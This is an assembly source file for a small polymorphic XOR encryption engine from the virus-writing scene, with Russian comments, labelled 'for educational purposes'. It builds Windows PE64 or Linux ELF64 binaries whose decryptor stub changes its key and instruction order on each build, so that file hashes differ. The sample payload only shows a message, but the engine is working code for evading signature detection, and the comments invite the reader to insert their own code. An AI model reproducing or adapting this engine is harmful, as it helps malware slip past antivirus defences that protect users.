target_os = 0 ; 0 = x64 PE, 1 = x64 ELF ; .__ ; _____ ____ ____ ____ | |__ ; / \ / _ \_/ ___\/ _ \| | \ Hybrid Poly Engine v1.1 ;| Y Y ( <_> ) \__( <_> ) Y \ ;|__|_| /\____/ \___ >____/|___| / ; \/ \/ \/ ; ; [+] Простой гибридный полиморфный PoC (код и процесс дешифрования) ; [+] Подходит для Windows (PE64) и Linux (ELF64) ; [+] 1 байтный рандомный XOR ключ ; [+] Движок может менять ключ и некоторые инструкции (код и порядок) ; [+] Техника простая и не новая... Только для образовательных целей ; ; Автор: SWaNk 2020 [] Снова в деле, VX навсегда! ; Спасибо TMZ за linux реализацию! ; ; https://vx-underground.org/ ; https://pt.wikipedia.org/wiki/Moc� (Kerodon rupestris) if target_os > 0 display "Выбран x64 ELF",13,10 format ELF64 executable 3 else display "Выбран x64 PE",13,10 format PE64 GUI 4.0 include "%include%/win64a.inc" end if entry start ; Это полиморфный макрос, для шифрования (однобайтный xor). ; Это простой XOR байтов от 0x00 до 0xFF, во время компиляции. ; Это просто пример того, как это может выглядеть ... Используйте свое воображение, если хотите улучшить macro encrypt dstart,dsize { local ..char key = %t and 0xff repeat dsize load ..char from dstart+%-1 ..char = ..char xor key store ..char at dstart+%-1 end repeat } ; Идея заключается в том, чтобы создать дидактический макрос. Он будет делить один байт на две части (от 0x00 до 0xff) ; другими словами: 0xff / 2 = 0x7f ; ; Если длина псевдорандомного ключа больше 0x7f байт, то в начале edx получит значение real_start, ; а ecx - code_size. Если ключ меньше чем 0x7f, порядок меняется ; ; Если длина псевдорандомного ключа больше 0x7f байт, значение edx будет увеличено инструкцией "inc edx", ; - иначе "add edx, 1" macro simplePoly { if key > 0x7f ; если длина ключа меньше 0x7f байт, то в начале идет real_start, потом code_size (порядок меняется) mov edx,real_start mov ecx,code_size else mov ecx,code_size mov edx,real_start end if @@: xor byte [edx],key if key > 0x7f ; если длина ключа меньше 0x7f байт, мы будем использовать инструкцию "inc edx", иначе - "add edx, 1" (обе инструкции увеличивают edx на 1) inc edx else add edx,1 end if loop @B } ; этот макрос генерирует инструкции, начиная с точки входа ; mov edx,mocoh.401010 | Порядок этих инструкций ; mov ecx,1C | может меняться ; xor byte ptr ds:[edx],F4 | Ключ может поменяться (в этом случае это F4) ; inc edx | Эта инструкция может измениться на "add edx, 1" ; loop mocoh.40100A ;============================================================ if target_os > 0 segment readable executable writeable else section '.text' code readable executable writable end if ;============================================================ start: simplePoly if target_os > 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Добавьте сюда свой код шифрования под линукс ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; real_start: lea rsi, [msg] mov rdx, msgLen mov rdi, 1 mov rax, 1 syscall display "Шифруем это дерьмо... " code_size = $ - real_start encrypt real_start, code_size display "done",13,10 mov rax, 60 xor rdi, rdi syscall else ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Добавьте сюда свой код шифрования под винду ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; real_start: mov rdx, rsp and rdx, 0fh and rsp, 0fffffffffffffff0h ; убедитесь, что стек выравнен на 16 байт invoke MessageBox, 0, msg, title, 0 invoke ExitProcess, 0 ; конец кода шифрования display "Шифруем это дерьмо... " code_size = $ - real_start encrypt real_start,code_size display "done",13,10 end if if target_os > 0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; segment readable ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; msg db "скомпилируйте 2 раза и сравните хэши и инструкции по расшифровке!", 0xa, 0 msgLen = $ - msg else ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; section '.data' data readable writeable ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; title db "SWaNk 2020",0 msg db "скомпилируйте 2 раза и сравните хэши и инструкции по расшифровке!",0 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; section '.idata' import data readable writeable ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; library kernel32,"kernel32.dll",user32,"user32.dll" include "%include%/api/kernel32.inc" include "%include%/api/user32.inc" end if